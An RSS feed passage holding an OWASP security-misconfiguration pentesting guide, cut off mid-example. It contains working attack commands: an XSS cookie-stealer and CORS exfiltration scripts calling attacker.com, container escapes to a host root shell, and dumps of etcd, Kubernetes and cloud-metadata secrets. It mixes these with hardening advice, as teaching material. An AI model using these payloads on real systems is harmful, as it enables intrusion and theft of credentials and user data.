internalCWE-506Embedded Malicious CodeBackdoored library in official release (SolarWinds)CWE-693Protection Mechanism FailureNo signature verification on updates</p><h3>12. Final Thoughts</h3><p>Here’s what most supply chain security guides don’t tell you: <strong>this problem is mostly invisible until it’s catastrophic.</strong></p><p>A SQLi vulnerability gives you error messages, weird behavior, observable symptoms. A supply chain compromise gives you nothing. The malicious code might sit dormant for months. It might only activate against specific targets. Your tests pass. Your scans show clean. Your users report no issues. And somewhere, quietly, customer data is leaving your infrastructure.</p><p>The organizations that survive this class of attack aren’t the ones with the best incident response. They’re the ones who made trust explicit — who decided that “it came from npm” or “Jenkins built it” or “our vendor signed it” is not a sufficient reason to trust it. They verify. Automatically. On every build.</p><p>An SBOM isn’t paperwork. It’s the difference between knowing in 20 minutes whether Log4Shell affects you, versus spending three weeks manually hunting through 400 microservices.</p><p>Pin your dependencies. Scan your builds. Sign your artifacts. Generate your SBOM. And remember: your software is only as trustworthy as the least-trustworthy thing it depends on.</p><h3>White Panther :</h3><p>Follow for More : <a href="https://www.instagram.com/intelithics">Intelithics</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4afec7114e85" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/part-4-owasp-a03-2025-software-supply-chain-failures-the-complete-guide-to-detection-4afec7114e85">Part 4 OWASP A03:2025: Software Supply Chain Failures — The Complete Guide to Detection…</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 3. OWASP A02 Security Misconfiguration: The Complete Guide to Detection, Exploitation, and…]]></title>
            <link>https://systemweakness.com/part-3-owasp-a02-security-misconfiguration-the-complete-guide-to-detection-exploitation-and-fc8e014993f6?source=rss-1d4bcfe23d96------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc8e014993f6</guid>
            <category><![CDATA[security-misconfiguration]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[medium]]></category>
            <dc:creator><![CDATA[Intelithics]]></dc:creator>
            <pubDate>Sun, 14 Jun 2026 23:01:01 GMT</pubDate>
            <atom:updated>2026-06-16T09:14:47.414Z</atom:updated>
            <content:encoded><![CDATA[<h3>Part 3. OWASP A02 Security Misconfiguration: The Complete Guide to Detection, Exploitation, and Prevention</h3><blockquote><strong><em>“You don’t need a zero-day. You don’t need elite skills. You just need a misconfigured server and five minutes.”</em></strong></blockquote><h3>Table of Contents</h3><ol><li>What Is Security Misconfiguration?</li><li>Why OWASP Ranked It #2 in 2025</li><li>The Attack Surface You’re Probably Ignoring</li><li>Types of Security Misconfiguration</li><li>Tools Every Tester Needs (With Real Commands)</li><li>How to Detect Misconfigurations — Step by Step</li><li>How Attackers Exploit Them — With Real Examples</li><li>Cookie Security Misconfigurations</li><li>CORS Misconfigurations — The Silent Data Leak</li><li>Cloud Misconfigurations (AWS, Azure, GCP)</li><li>Docker &amp; Kubernetes Misconfigurations</li><li>CI/CD Pipeline Misconfigurations</li><li>Real-World Breach Case Studies</li><li>The Full Attack Chain — A Real-World Scenario</li><li>Hardening Checklist</li><li>OWASP CWE Mapping</li><li>Final Thoughts</li></ol><h3>1. What Is Security Misconfiguration?</h3><h4>Let me paint you a picture.</h4><p>Imagine you spend months building a beautiful house. Strong walls, reinforced doors, expensive locks. But you leave the kitchen window open. Every night. Because you just forgot.</p><blockquote>That’s security misconfiguration.</blockquote><p><strong>Everything works. Nothing is secured.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vpI_uyRLfD5YuiTgag9Jfw.jpeg" /></figure><p>OWASP defines it like this: when a system, application, cloud service, or framework is not configured securely — even though the code itself may be completely fine — vulnerabilities are created. No exploit needed. No genius hacker required. Just a setting that was never changed.</p><h4>This includes things like:</h4><ul><li>Default admin credentials nobody ever changed (admin:admin on Jenkins, tomcat:tomcat on Tomcat)</li><li>Debug mode left ON in production, exposing internal stack traces to the entire internet</li><li>An S3 bucket accidentally set to public read/write, leaking customer records</li><li>Missing HTTP security headers on every response</li><li>A Kubernetes dashboard exposed to the internet with no authentication</li><li>Verbose error messages that tell an attacker exactly what database, framework, and version you’re running</li></ul><blockquote>These aren’t bugs in the traditional sense. They’re operational failures. And they’re everywhere.</blockquote><h3>2. Why OWASP Ranked It #2 in 2025</h3><p>In 2021, Security Misconfiguration was at <strong>#5</strong> on the OWASP Top 10. In 2025, it jumped to <strong>#2</strong>. That’s not an accident.</p><h4>Here’s why it climbed so fast:</h4><p><strong>Infrastructure got exponentially more complex.</strong> A typical modern application doesn’t run on one server anymore. It runs across containers, microservices, serverless functions, cloud storage, CDNs, API gateways, CI/CD pipelines, and Kubernetes clusters. Every single one of those components has its own configuration layer. Every default setting is a potential open window.</p><p><strong>The data backs it up.</strong> OWASP’s 2025 analysis mapped over <strong>719,000 CWEs</strong> (Common Weakness Enumerations) to this category. Nearly 100% of tested applications had at least one misconfiguration. Not most. Nearly all.</p><p><strong>Defaults are chosen for convenience, not security.</strong> Cloud providers, frameworks, and databases ship with settings that make it easy to get started — not settings that keep you safe. Most teams never audit those defaults.</p><p><strong>Speed culture skips security.</strong> “Ship fast, iterate fast” means debug mode gets enabled temporarily and never disabled. Test endpoints get pushed to production. S3 buckets get created publicly because it was faster than reading the docs.</p><p>The result: misconfiguration is now one of the most common root causes of major breaches. Not because attackers are sophisticated. Because defenders are rushed.</p><h3>3. The Attack Surface You’re Probably Ignoring</h3><p>Security teams focus on application logic. They look for SQLi, XSS, IDOR. That’s the right instinct — but it misses a massive layer beneath the code.</p><h4>The configuration layer includes:</h4><ul><li><strong>Web server settings</strong> (Nginx, Apache, IIS)</li><li><strong>Application framework settings</strong> (Spring Boot, Django, Express, Rails)</li><li><strong>Database settings</strong> (MongoDB, MySQL, Elasticsearch)</li><li><strong>Cloud infrastructure</strong> (IAM policies, S3 permissions, security groups)</li><li><strong>Container settings</strong> (Dockerfiles, docker-compose.yml, Kubernetes RBAC)</li><li><strong>CI/CD pipelines</strong> (Jenkins, GitHub Actions, GitLab)</li><li><strong>HTTP response headers</strong></li><li><strong>Cookie attributes</strong></li><li><strong>CORS policies</strong></li><li><strong>Error handling behavior</strong></li></ul><blockquote>Any one of these, misconfigured, can compromise an entire system. And most organizations have no automated process to check them consistently.</blockquote><h3>4. Types of Security Misconfiguration</h3><h3>4.1 Application-Level Misconfigurations</h3><p>These live inside your application code and configs.</p><p><strong>Debug Mode in Production</strong></p><p>When debug mode is on, your app helpfully tells anyone who triggers an error exactly what went wrong — including file paths, line numbers, database names, framework versions, and internal variable values.</p><pre>Exception in thread &quot;main&quot; java.sql.SQLException: Unknown database &#39;prod_db&#39;<br>at com.example.database.Connection.connect(Connection.java:145)<br>at com.example.application.Main.main(Main.java:89)</pre><p><em>An attacker reading that now knows: Java app, JDBC driver, database named </em><em>prod_db, exact file structure. That&#39;s a roadmap.</em></p><h4><strong>Missing Security Headers</strong></h4><p>Headers like Content-Security-Policy, Strict-Transport-Security, and X-Frame-Options tell the browser how to protect the user. When they&#39;re absent, attacks like XSS, clickjacking, and protocol downgrade become significantly easier.</p><h4><strong>Unnecessary Exposed Endpoints</strong></h4><p>Developers often leave test routes or admin panels accessible in production:</p><pre>/admin<br>/setup<br>/debug<br>/test<br>/phpmyadmin<br>/.env<br>/actuator (Spring Boot)</pre><p>These aren’t secrets. Attackers have lists of them and scan for them automatically.</p><h3>4.2 Web Server Misconfigurations</h3><h4><strong>Directory Listing Enabled</strong></h4><p>When directory listing is on, anyone who visits /uploads/ or /backups/ sees a file browser. Real example of what they might find: database dumps, API keys in .env files, compiled Java bytecode they can decompile and reverse engineer.</p><h4><strong>HTTP Methods Not Restricted</strong></h4><p>If a server accepts PUT or DELETE requests when only GET and POST are needed, attackers can upload arbitrary files or delete content.</p><h4><strong>Default Pages Still Running</strong></h4><p>The default Apache, Nginx, or IIS welcome page tells an attacker exactly what server software you’re running and often the version. That’s the first thing they need to search for known CVEs.</p><h4><strong>Outdated Software</strong></h4><p>Running Apache 2.2.x or PHP 5.x with known, public CVEs is functionally the same as publishing a vulnerability disclosure about yourself.</p><h3>4.3 Cloud Misconfigurations</h3><p>This is where billions of dollars in data breaches happen.</p><h4><strong>Public S3 Buckets (AWS)</strong></h4><p>The most classic cloud misconfiguration. A developer creates an S3 bucket, doesn’t read the access control docs, and accidentally sets it to public-read or public-read-write. Customer data, source code, API keys — all freely downloadable.</p><h4><strong>Overly Permissive IAM Policies</strong></h4><pre>{<br>  &quot;Action&quot;: &quot;*&quot;,<br>  &quot;Resource&quot;: &quot;*&quot;<br>}</pre><p>This grants a role unrestricted access to everything in your AWS account. It’s used more often than it should be, usually because it “just works” and nobody audits it.</p><h4><strong>Public Database Instances</strong></h4><p>A database should never have a public IP address. Yet thousands of MongoDB, Elasticsearch, and Redis instances are directly reachable from the internet — often with no password.</p><h4><strong>Open Security Groups</strong></h4><p>Inbound rules set to 0.0.0.0/0 on ports like 22 (SSH), 3306 (MySQL), or 5432 (PostgreSQL) mean the entire internet can attempt to connect.</p><h3>4.4 Framework Misconfigurations</h3><p>Different frameworks, same mistake: production settings that look like development settings.</p><p>Framework Common Misconfiguration Spring Boot Actuator endpoints (/actuator/env, /actuator/heapdump) exposed publicly Flask debug=True in production Django ALLOWED_HOSTS = [&#39;*&#39;] or DEBUG = True Express.js Default error handler revealing stack traces Rails config.consider_all_requests_local = true in production</p><h3>4.5 Database Misconfigurations</h3><ul><li>No password set (MongoDB, Redis, Elasticsearch default to no auth)</li><li>Default ports open to the internet (3306, 27017, 9200)</li><li>No encryption at rest or in transit</li><li>Excessive database user privileges (app user has DROP TABLE permission)</li></ul><h3>5. Tools Every Tester Needs (With Real Commands)</h3><h3>5.1 Reconnaissance — Finding the Target</h3><p><strong>Amass</strong> — Subdomain enumeration</p><pre>amass enum -d target.com</pre><p>This finds hidden subdomains including dev.target.com, staging.target.com, jenkins.target.com — environments developers forget to secure because &quot;nobody knows they exist.&quot;</p><p><strong>Subfinder</strong> — Fast passive subdomain discovery</p><pre>subfinder -d target.com -o subdomains.txt</pre><p><strong>Assetfinder</strong> — Quick subdomain discovery</p><pre>assetfinder target.com | tee assets.txt</pre><p><strong>Why these matter:</strong><em> Development and staging environments are routinely left wide open. Debug mode is on. Authentication is weak. Finding them is often as easy as checking what subdomains a company uses.</em></p><h3>5.2 Port &amp; Service Scanning — What’s Actually Running</h3><p><strong>Nmap</strong> — The industry standard</p><p><strong><em>Basic version detection:</em></strong></p><pre>nmap -sV target.com</pre><p><strong><em>Aggressive scan (OS detection, version detection, scripts):</em></strong></p><pre>nmap -A target.com</pre><p><strong><em>Full port range (don’t miss non-standard ports):</em></strong></p><pre>nmap -p- target.com</pre><p><strong><em>Output to file for analysis:</em></strong></p><pre>nmap -p- -sV -oA scan_results target.com</pre><h4><strong>What to look for:</strong></h4><p>Port Service Why It Matters 8080 Jenkins Often no auth 3000 Grafana Default creds admin:admin 9200 Elasticsearch Usually no auth by default 5601 Kibana Exposed dashboards 2375 Docker API Full container takeover 6443 Kubernetes API Cluster compromise 8443 Kubernetes Dashboard Direct cluster access</p><h3>5.3 Technology Fingerprinting — What Are They Running?</h3><p><strong>WhatWeb</strong></p><pre>whatweb https://target.com</pre><p><strong>Output example:</strong></p><pre>https://target.com [200 OK] Apache[2.4.49], PHP[8.0.1], WordPress[5.9]</pre><p><em>Now you know the exact versions. Apache 2.4.49 has CVE-2021–41773, a path traversal and RCE vulnerability. WordPress 5.9 has known plugin vulnerabilities. You have a list of things to check.</em></p><p><strong>HTTPx</strong> — Fast, bulk HTTP probing</p><pre>cat subdomains.txt | httpx -title -tech-detect -status-code</pre><p>This gives you HTTP status codes, page titles, and detected technologies for every subdomain at once. Invaluable for quickly spotting interesting endpoints.</p><h3>5.4 Automated Vulnerability Scanning</h3><p><strong>Nuclei</strong> — The most powerful open-source scanner for misconfigurations</p><p><strong><em>Basic scan:</em></strong></p><pre>nuclei -u https://target.com</pre><p><strong>Misconfiguration templates only:</strong></p><pre>nuclei -u https://target.com -tags misconfig</pre><p><strong><em>Bulk scan from list:</em></strong></p><pre>nuclei -l targets.txt -tags misconfig,exposure,default-login</pre><p><strong>What Nuclei detects:</strong></p><ul><li>Exposed admin panels</li><li>Default credentials</li><li>Public cloud storage</li><li>Exposed .env files</li><li>Debug endpoints</li><li>Missing security headers</li><li>Open redirects</li><li>Exposed Git repositories</li></ul><p><strong>Nikto — Web server misconfiguration scanner</strong></p><pre>nikto -h https://target.com</pre><blockquote>Checks for: outdated software, default files, dangerous HTTP methods, missing headers, directory listings.</blockquote><h3>5.5 Burp Suite — Manual Deep Dive</h3><p>Burp Suite is not just an intercepting proxy. For misconfiguration testing, use it to:</p><h4><strong>Check Security Headers</strong></h4><p>Intercept any response. Look at the headers section. Missing headers are just as important as present ones. You want to see:</p><pre>Content-Security-Policy: default-src &#39;self&#39;<br>Strict-Transport-Security: max-age=31536000; includeSubDomains<br>X-Frame-Options: DENY<br>X-Content-Type-Options: nosniff<br>Referrer-Policy: strict-origin-when-cross-origin<br>Permissions-Policy: geolocation=(), microphone=()</pre><blockquote>If any of these are absent, that’s a finding.</blockquote><h4><strong>Spot Information Disclosure</strong></h4><p>Watch response headers for:</p><pre>Server: Apache/2.4.49 (Ubuntu)<br>X-Powered-By: PHP/7.4.3<br>X-AspNet-Version: 4.0.30319</pre><p>Version disclosure gives attackers their shopping list.</p><h4><strong>Find Debug Responses</strong></h4><p>Look for JSON responses containing:</p><pre>{<br>  &quot;debug&quot;: true,<br>  &quot;stacktrace&quot;: &quot;...&quot;,<br>  &quot;environment&quot;: &quot;production&quot;,<br>  &quot;database_host&quot;: &quot;prod-db.internal&quot;<br>}</pre><p>This should never appear in production.</p><p><strong>Use the Repeater and Intruder</strong> to test different HTTP methods on endpoints. Try sending PUT, DELETE, OPTIONS to endpoints and observe what comes back.</p><h3>5.6 Cloud-Specific Tools</h3><p><strong>AWS CLI — S3 Bucket Testing</strong></p><pre># List bucket contents (as anonymous user)<br>aws s3 ls s3://target-bucket-name --no-sign-request</pre><pre># Try to download files<br>aws s3 cp s3://target-bucket-name/sensitive.txt . --no-sign-request</pre><pre># Try to upload (write access check)<br>aws s3 cp test.txt s3://target-bucket-name/ --no-sign-request</pre><blockquote><em>If any of these work without credentials, the bucket is publicly accessible.</em></blockquote><p><strong><em>ScoutSuite — Multi-cloud security auditing</em></strong></p><pre># AWS<br>python scout.py aws</pre><pre># Azure<br>python scout.py azure --cli</pre><pre># GCP<br>python scout.py gcp --user-account</pre><blockquote>Generates a full HTML report of misconfigurations across your cloud environment.</blockquote><p><strong><em>Prowler</em></strong><em> — AWS security assessment</em></p><pre>prowler aws --profile default</pre><blockquote>Checks hundreds of AWS security controls including S3, IAM, CloudTrail, and security groups.</blockquote><p><strong>Trivy</strong> — Container and IaC scanning</p><pre># Scan a Docker image<br>trivy image nginx:latest</pre><pre># Scan a Kubernetes cluster<br>trivy k8s --report summary cluster</pre><pre># Scan Terraform files<br>trivy config ./terraform/</pre><h3>6. How to Detect Misconfigurations</h3><p>Here’s how a professional approaches this. Not randomly clicking around. A structured methodology.</p><h3>Phase 1: Asset Discovery</h3><p>You can’t test what you don’t know exists.</p><pre># Step 1: Find all subdomains<br>subfinder -d target.com -o subs.txt</pre><pre># Step 2: Probe which ones are alive<br>cat subs.txt | httpx -status-code -title -o alive.txt</pre><pre># Step 3: Check for interesting subdomains<br>grep -i &quot;dev\|test\|staging\|jenkins\|admin\|internal&quot; alive.txt</pre><h3>Phase 2: Port Scanning</h3><pre># Full port scan on the main target<br>nmap -p- -sV --open target.com -oA nmap_full</pre><pre># Extract open ports and grep for interesting services<br>grep &quot;open&quot; nmap_full.gnmap | grep -i &quot;jenkins\|kibana\|grafana\|docker\|kubernetes&quot;</pre><h3>Phase 3: Automated Misconfiguration Scanning</h3><pre># Run Nuclei with misconfiguration and exposure templates<br>nuclei -l alive.txt -tags misconfig,exposure,default-login -o nuclei_results.txt</pre><pre># Run Nikto on each alive target<br>while read url; do nikto -h $url -output nikto_${url//\//_}.txt; done &lt; alive.txt</pre><h3>Phase 4: Manual Header Inspection</h3><p>Use Burp Suite or curl:</p><pre># Check headers on main site<br>curl -sI https://target.com</pre><pre># Check CORS<br>curl -sI -H &quot;Origin: https://evil.com&quot; <a href="https://target.com/api/user">https://target.com/api/user</a></pre><h3>Phase 5: Cloud Recon</h3><pre># Common S3 bucket naming patterns<br>aws s3 ls s3://target-com --no-sign-request<br>aws s3 ls s3://target-backup --no-sign-request<br>aws s3 ls s3://target-prod --no-sign-request<br>aws s3 ls s3://target-dev --no-sign-request</pre><h3>Phase 6: Reporting</h3><p>Document every finding with: what was found, how it was found, what the impact is, steps to reproduce, screenshot evidence, and specific remediation guidance.</p><h3>7. How Attackers Exploit Misconfigurations</h3><h3>7.1 Default Credentials</h3><h4>This is almost embarrassingly simple.</h4><p>An attacker finds a Jenkins instance on jenkins.target.com:8080. They try admin:admin. It works. They now have access to every build pipeline, every environment secret, and the ability to execute arbitrary code on build servers.</p><h4>Common default credentials worth knowing:</h4><p>Service Default Username Default Password Jenkins admin admin (or blank) Grafana admin admin Tomcat Manager tomcat tomcat phpMyAdmin root (blank) Kibana elastic changeme MongoDB (none — no auth by default) — Elasticsearch (none — no auth by default) —</p><p><strong>Defense:</strong> <em>Change every default credential immediately. Use a secrets manager. Automate this check in your CI/CD pipeline.</em></p><h3>7.2 Directory Listing Exploitation</h3><pre># Attacker finds directory listing enabled<br>curl https://target.com/uploads/</pre><p>Response:</p><pre>&lt;title&gt;Index of /uploads&lt;/title&gt;<br>&lt;a href=&quot;backup_2024.sql&quot;&gt;backup_2024.sql&lt;/a&gt;<br>&lt;a href=&quot;config.php.bak&quot;&gt;config.php.bak&lt;/a&gt;<br>&lt;a href=&quot;users_export.csv&quot;&gt;users_export.csv&lt;/a&gt;</pre><blockquote>They download everything. Database dump. Config file with credentials. User data export.</blockquote><h3>7.3 Exposed Spring Boot Actuator</h3><p>Spring Boot’s actuator endpoints are meant for monitoring. When exposed to the internet, they’re a goldmine.</p><pre># Check what actuator endpoints are available<br>curl https://target.com/actuator</pre><pre># Dump all environment variables (includes secrets)<br>curl <a href="https://target.com/actuator/env">https://target.com/actuator/env</a></pre><pre># Download a heap dump (contains everything in memory, including tokens)<br>curl <a href="https://target.com/actuator/heapdump">https://target.com/actuator/heapdump</a> -o heap.hprof</pre><pre># Trigger a thread dump<br>curl <a href="https://target.com/actuator/threaddump">https://target.com/actuator/threaddump</a></pre><p>The /actuator/env endpoint alone can expose database passwords, API keys, and internal service URLs.</p><h3>7.4 Docker API Exposure</h3><p>If the Docker daemon is exposed on port 2375 without TLS:</p><pre># List all running containers<br>curl http://target.com:2375/containers/json</pre><pre># Execute a command inside a container<br>curl -X POST &quot;http://target.com:2375/containers/{id}/exec&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;Cmd&quot;: [&quot;cat&quot;, &quot;/etc/passwd&quot;]}&#39;</pre><blockquote><em>From here, an attacker can create a privileged container, mount the host filesystem, and own the underlying server.</em></blockquote><h3>7.5 Kubernetes Dashboard Without Authentication</h3><p>The historical Kubernetes Dashboard vulnerability is still relevant because people still deploy it wrong.</p><pre># If the dashboard is exposed, accessing it directly<br>curl http://target.com:8443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/</pre><pre># If anonymous access is enabled<br>kubectl --insecure-skip-tls-verify -s <a href="https://target.com:6443/">https://target.com:6443</a> get secrets<br>kubectl --insecure-skip-tls-verify -s <a href="https://target.com:6443/">https://target.com:6443</a> get pods --all-namespaces</pre><blockquote><em>A cluster with anonymous access enabled is a complete compromise. Secrets, credentials, the ability to deploy arbitrary workloads — all accessible.</em></blockquote><h3>8. Cookie Security Misconfigurations</h3><p>Cookies are often where session security lives. When they’re misconfigured, sessions get stolen.</p><h4>The Three Critical Flags</h4><p><strong>HttpOnly</strong> — Prevents JavaScript from reading the cookie.</p><p>Without it, any XSS payload can steal the session:</p><pre>// Attacker payload in a comment field<br>&lt;img src=x onerror=&quot;fetch(&#39;https://attacker.com/steal?c=&#39;+document.cookie)&quot;&gt;</pre><p>With HttpOnly set, document.cookie won&#39;t include the protected cookie. The attack fails.</p><p><strong>Secure</strong> — Ensures the cookie is only sent over HTTPS.</p><p>Without it, if a user accidentally visits http:// instead of https://, their session cookie goes over the wire unencrypted. An attacker on the same network (coffee shop, corporate WiFi) captures it:</p><pre>tcpdump -i eth0 &#39;tcp port 80&#39; -A | grep -i cookie</pre><p><strong>SameSite</strong> — Controls when the cookie is sent with cross-site requests.</p><ul><li>Strict: Never sent with cross-site requests (most secure)</li><li>Lax: Sent only with top-level navigation GET requests</li><li>None: Sent with all requests (requires Secure flag)</li></ul><p>Without SameSite, CSRF attacks become much easier.</p><h3>The Right Cookie Configuration</h3><pre>Set-Cookie: sessionid=abc123; Secure; HttpOnly; SameSite=Strict; Path=/; Max-Age=3600</pre><h3>What NOT to Store in Cookies</h3><p>Developers sometimes store sensitive data directly in cookies. Don’t.</p><pre>// This is terrible — never do this<br>res.setHeader(&#39;Set-Cookie&#39;, `user_data=${JSON.stringify({<br>  email: user.email,<br>  api_key: user.api_key,<br>  ssn: user.ssn<br>})}`);</pre><p>Anyone who obtains this cookie has the API key and SSN. Store only session identifiers that reference server-side state.</p><h3>9. CORS Misconfigurations — The Silent Data Leak</h3><p>CORS (Cross-Origin Resource Sharing) controls which domains can make requests to your API from a browser. Misconfigure it, and you’ve handed attackers a way to read your users’ sensitive data from any website.</p><h3>How CORS Works (Simply)</h3><p>Your API is at api.target.com. When evil.com tries to fetch data from it with the user&#39;s credentials, the browser checks: does api.target.com allow requests from evil.com?</p><h4>That answer lives in the response header:</h4><pre>Access-Control-Allow-Origin: https://trusted-site.com</pre><p>If it says * or reflects whatever origin the attacker sends, that&#39;s the problem.</p><h3>Common CORS Misconfigurations</h3><p><strong>Wildcard with Credentials</strong></p><pre>Access-Control-Allow-Origin: *<br>Access-Control-Allow-Credentials: true</pre><p>You can’t combine these — browsers block it. But if the server is reflecting the Origin header instead:</p><p><strong>Origin Reflection</strong></p><pre>curl -I -H &quot;Origin: https://evil.com&quot; https://api.target.com/user/profile</pre><p>Response:</p><pre>Access-Control-Allow-Origin: https://evil.com<br>Access-Control-Allow-Credentials: true</pre><p>The server is blindly trusting whatever origin is sent. An attacker hosts this on evil.com:</p><pre>var req = new XMLHttpRequest();<br>req.onreadystatechange = function() {<br>  if (req.readyState == XMLHttpRequest.DONE) {<br>    fetch(&#39;https://attacker.com/steal?data=&#39; + req.responseText);<br>  }<br>};<br>req.open(&#39;GET&#39;, &#39;https://api.target.com/user/profile&#39;, true);<br>req.withCredentials = true;<br>req.send(null);</pre><p>Victim visits evil.com. The script runs silently. Their profile data — including session tokens, personal info, API keys — is exfiltrated to the attacker.</p><h4><strong>The Null Origin Trick</strong></h4><p>Some servers whitelist the null origin for local development. An attacker can trigger a null origin using a sandboxed iframe:</p><pre>&lt;iframe sandbox=&quot;allow-scripts&quot; srcdoc=&quot;<br>&lt;script&gt;<br>var req = new XMLHttpRequest();<br>req.open(&#39;GET&#39;, &#39;https://api.target.com/user/profile&#39;, true);<br>req.withCredentials = true;<br>req.onreadystatechange = function() {<br>  if (req.readyState == XMLHttpRequest.DONE) {<br>    fetch(&#39;https://attacker.com/steal?data=&#39; + req.responseText);<br>  }<br>};<br>req.send(null);<br>&lt;/script&gt;&quot;&gt;&lt;/iframe&gt;</pre><p><strong>Defense:</strong></p><ul><li>Never blindly reflect the Origin header</li><li>Maintain an explicit whitelist of trusted origins</li><li>Never whitelist null in production</li><li>Use Vary: Origin header when serving dynamic CORS responses</li></ul><h3>10. Cloud Misconfigurations</h3><h3>AWS</h3><p><strong>Finding Public S3 Buckets</strong></p><pre># Direct access test<br>aws s3 ls s3://company-name-backup --no-sign-request</pre><pre># Using tools<br>python3 bucket_finder.py company-name</pre><pre># AWS CLI authenticated check (for your own buckets)<br>aws s3api get-bucket-acl --bucket your-bucket-name<br>aws s3api get-bucket-policy --bucket your-bucket-name</pre><h4><strong>Checking IAM Policies for Privilege Escalation</strong></h4><pre># List all policies attached to a user<br>aws iam list-attached-user-policies --user-name target-user</pre><pre># Get the actual policy document<br>aws iam get-policy-version --policy-arn arn:aws:iam::ACCOUNT:policy/PolicyName --version-id v1</pre><pre># Check for dangerous permissions<br>aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::ACCOUNT:user/target-user \<br>  --action-names iam:CreateUser s3:GetObject ec2:DescribeInstances</pre><h4><strong>Finding Exposed Secrets in EC2 Metadata</strong></h4><pre># If SSRF exists, this is what attackers try:<br>curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<br>curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME</pre><p>This returns temporary AWS credentials. With those credentials, the attacker can operate as that IAM role.</p><p><strong>Remediation:</strong></p><pre># Secure S3 bucket (CloudFormation)<br>SecureS3Bucket:<br>  Type: AWS::S3::Bucket<br>  Properties:<br>    PublicAccessBlockConfiguration:<br>      BlockPublicAcls: true<br>      BlockPublicPolicy: true<br>      IgnorePublicAcls: true<br>      RestrictPublicBuckets: true<br>    BucketEncryption:<br>      ServerSideEncryptionConfiguration:<br>        - ServerSideEncryptionByDefault:<br>            SSEAlgorithm: AES256</pre><h3>Azure</h3><p>Common findings:</p><ul><li>Blob storage containers with public access enabled</li><li>Management ports (22, 3389) open to 0.0.0.0/0 in NSGs</li><li>Service principals with excessive permissions</li><li>Outdated API permissions not cleaned up</li></ul><pre># Using ScoutSuite for Azure<br>python scout.py azure --cli</pre><pre># Using Prowler<br>prowler azure --subscription-ids SUBSCRIPTION_ID</pre><h3>GCP</h3><p>Common findings:</p><ul><li>Cloud Storage buckets with allUsers or allAuthenticatedUsers permissions</li><li>Service accounts with editor or owner roles</li><li>APIs enabled that aren’t needed (increasing attack surface)</li></ul><pre># Check bucket permissions<br>gsutil iam get gs://bucket-name</pre><pre># List service accounts and their roles<br>gcloud iam service-accounts list<br>gcloud projects get-iam-policy PROJECT_ID</pre><h3>11. Docker &amp; Kubernetes Misconfigurations {containers}</h3><h3>Docker</h3><p><strong>Running as Root</strong></p><pre># Bad — default root user<br>FROM ubuntu:22.04<br>RUN apt-get update<br>COPY app /app<br>CMD [&quot;/app/run&quot;]</pre><pre># Good — dedicated non-root user<br>FROM ubuntu:22.04<br>RUN apt-get update &amp;&amp; useradd -r appuser<br>COPY app /app<br>RUN chown appuser:appuser /app<br>USER appuser<br>CMD [&quot;/app/run&quot;]</pre><p>Running as root means if your application is compromised, the attacker has root in the container. Combined with other misconfigurations, that can mean root on the host.</p><h4><strong>Privileged Containers</strong></h4><pre># Never use this in production<br>docker run --privileged my-app</pre><p>A privileged container has nearly all Linux capabilities. From inside one, an attacker can mount the host filesystem, load kernel modules, and escape the container entirely.</p><h4><strong>Exposed Docker Socket</strong></h4><pre># If you mount this inside a container:<br>-v /var/run/docker.sock:/var/run/docker.sock</pre><pre># The container can control the Docker daemon:<br>docker -H unix:///var/run/docker.sock ps<br>docker -H unix:///var/run/docker.sock run --privileged --pid=host -it ubuntu nsenter -t 1 -m -u -n -i sh</pre><p>That last command gives you a root shell on the host.</p><h3>Kubernetes</h3><h4><strong>Check for Anonymous Access</strong></h4><pre>kubectl --insecure-skip-tls-verify -s https://target-cluster:6443 auth can-i get pods</pre><p>If the response is yes, anonymous access is enabled. Critical finding.</p><h4><strong>Check RBAC for Dangerous Permissions</strong></h4><pre>kubectl get clusterrolebindings -o json | \<br>  python3 -c &quot;import json,sys; [print(b[&#39;metadata&#39;][&#39;name&#39;]) for b in json.load(sys.stdin)[&#39;items&#39;] if any(s.get(&#39;name&#39;)==&#39;system:anonymous&#39; for s in b.get(&#39;subjects&#39;,[]))]&quot;</pre><h4><strong>Dangerous RBAC Example</strong></h4><pre># This gives a service account god-mode permissions<br>apiVersion: rbac.authorization.k8s.io/v1<br>kind: ClusterRole<br>metadata:<br>  name: over-permissive<br>rules:<br>- apiGroups: [&quot;*&quot;]<br>  resources: [&quot;*&quot;]<br>  verbs: [&quot;*&quot;]</pre><h4><strong>Exposed etcd</strong></h4><p>etcd stores the entire cluster state: all secrets, credentials, certificates. If it’s accessible without auth:</p><pre>etcdctl --endpoints=http://target:2379 get / --prefix --keys-only<br>etcdctl --endpoints=http://target:2379 get /registry/secrets --prefix</pre><blockquote><em>That’s a full cluster compromise.</em></blockquote><h4><strong>Secret Scanning in Clusters</strong></h4><pre># List all secrets across namespaces<br>kubectl get secrets --all-namespaces</pre><pre># Decode a secret<br>kubectl get secret my-secret -o jsonpath=&#39;{.data.password}&#39; | base64 -d</pre><h3>12. CI/CD Pipeline Misconfigurations</h3><p>CI/CD pipelines are increasingly targeted because they have access to everything: source code, deployment credentials, production environments, secret keys.</p><h3>Jenkins</h3><p><strong>Check for Unauthenticated Access</strong></p><pre>curl -sI http://jenkins.target.com<br>curl http://jenkins.target.com/api/json?pretty=true</pre><blockquote>If you get a JSON response listing jobs without authentication, you have unauthenticated access.</blockquote><h4><strong>Script Console RCE</strong></h4><p>If you have admin access to Jenkins (default creds, anonymous access, or CSRF bypass), the Script Console executes arbitrary Groovy:</p><pre>// Jenkins Groovy Script Console — executes on server<br>println &quot;id&quot;.execute().text<br>println &quot;cat /etc/passwd&quot;.execute().text<br>println &quot;ls /var/jenkins_home/secrets/&quot;.execute().text</pre><h4>GitHub Actions Secret Leakage</h4><pre># Vulnerable workflow — prints secrets to 